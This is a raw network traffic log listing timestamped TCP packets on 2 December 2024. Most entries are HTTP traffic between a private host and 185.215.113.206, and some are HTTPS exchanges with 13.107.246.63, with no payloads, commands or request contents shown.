Dec 2, 2024 07:38:01.027024984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.027671099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.027710915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.027744055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.027798891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.143196106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.143244028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.143295050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.143320084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.143444061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.143524885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.143543959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.143583059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.144193888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.144258976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.144270897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.144308090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.144314051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.144356012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.144762039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.144804955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.144855022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.144910097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.145569086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.145627022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.145662069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.145735025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.146378040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.146435022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.146456957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.146502018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.147172928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.147254944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.147280931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.147337914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.148014069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.148143053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.148159981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.148236990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.148802042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.148849010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.148900032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.149019957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.149596930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.149667978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.149698973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.149744034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.150412083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.150475025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.150507927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.150559902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.151216984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.151287079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.151338100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.151436090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.151978016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.152034044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.152091026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.152209044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.152801037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.152863026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.152930021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.152991056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.153624058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.153678894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.153681993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.153737068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.154443026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.154531956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.154550076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.154608011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.155229092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.155293941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.155335903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.155399084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.156040907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.156127930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.156157017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.156210899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.156838894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.156913996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.156949997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.157007933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.157643080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.157687902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.157732010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.157818079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.158421993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.158467054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.158548117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.158595085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.159249067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.159346104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.159377098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.159434080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.160059929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.160144091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.160171986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.160238028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.160891056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.160904884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.160950899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.160950899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.161685944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.161742926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.161773920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.161830902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.162460089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.162565947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.162569046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.162637949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.163278103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.163331032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.163345098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.163388014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.164087057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.164120913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.164143085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.164155006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.164942980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.165014982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.165030003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.165076017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.165683031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.165754080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.165786028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.165829897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.166573048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.166594982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.166621923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.166659117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.167273998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.167323112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.167382956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.167423964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.168111086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.168164015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.168297052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.168349028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.212097883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.212189913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.212224007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.212290049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.212462902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.212511063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.212641001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.212696075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.212759018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.212800980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.213524103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.213574886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.213598013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.213646889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.214245081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.214287996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.214370012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.214390039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.214423895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.214423895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.215192080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.215276957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.215334892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.215403080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.216155052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.216223955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.216257095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.216310024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.216770887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.216814995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.217066050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.217113018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.217219114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.217278957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.217863083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.217936993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.217967987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.218039989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.218660116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.218719959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.218826056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.218826056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.219686031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.219744921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.219763041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.219805956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.220249891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.220352888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.220386982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.220469952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.221065998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.221124887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.238836050 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.248270988 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.248289108 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.249164104 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.249170065 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.273430109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.273482084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.273499012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.273542881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.273741007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.273792028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.274269104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.274346113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.274364948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.274389029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.274648905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.274696112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.274765015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.274816036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.274816990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.274883032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.275588036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.275671959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.275693893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.275752068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.276509047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.276566029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.276567936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.276607990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.278168917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.278186083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.278197050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.278207064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.278223038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.278234005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.278310061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.278794050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.278845072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.279614925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.279649973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.279664993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.279692888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.279707909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.279783010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.280435085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.280478954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.280522108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.280594110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.281193018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.281246901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.281585932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.281661034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.346767902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.346784115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.346834898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.346867085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.347067118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.347127914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.347223043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.347265959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.347822905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.347865105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.347970963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.348072052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.348428965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.348474979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.348612070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.348673105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.349298000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.349311113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.349360943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.349360943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.352471113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.352529049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.352603912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.352647066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.353254080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.353318930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.353415012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.353457928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.354018927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.354074955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.354162931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.354204893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.354815960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.354887009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.354973078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.355036974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.355583906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.355635881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.355726957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.355786085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.356551886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.356643915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.356703997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.356758118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.357214928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.357273102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.425801992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.534074068 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.535150051 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.535172939 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.535567999 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.535573959 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.545641899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.676815033 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.679866076 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.680013895 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.680107117 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.680107117 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.680107117 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.680500031 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.680516005 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.681278944 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.681286097 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.683511972 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.683552980 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.683659077 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.683789968 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.683804989 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.854834080 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.858855963 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.858870029 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.859684944 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.859699965 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.875999928 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.876743078 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.876756907 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.877149105 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.877154112 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.877998114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.878019094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.878061056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.878082037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.878403902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.878443003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.878448963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.878485918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.879192114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.879252911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.879281044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.879331112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.880004883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.880067110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.880100965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.880142927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.880814075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.880867958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.880955935 CET	80	49823	185.215.113.206	192.168.2.6
